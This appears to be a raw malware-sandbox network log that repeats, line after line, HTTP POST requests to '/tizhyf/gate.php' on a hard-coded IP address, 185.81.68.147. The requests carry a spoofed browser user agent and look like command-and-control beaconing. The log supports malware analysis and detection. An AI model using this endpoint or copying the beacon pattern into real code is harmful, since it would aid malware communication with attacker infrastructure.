Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 10
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 10
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 10
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 10
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
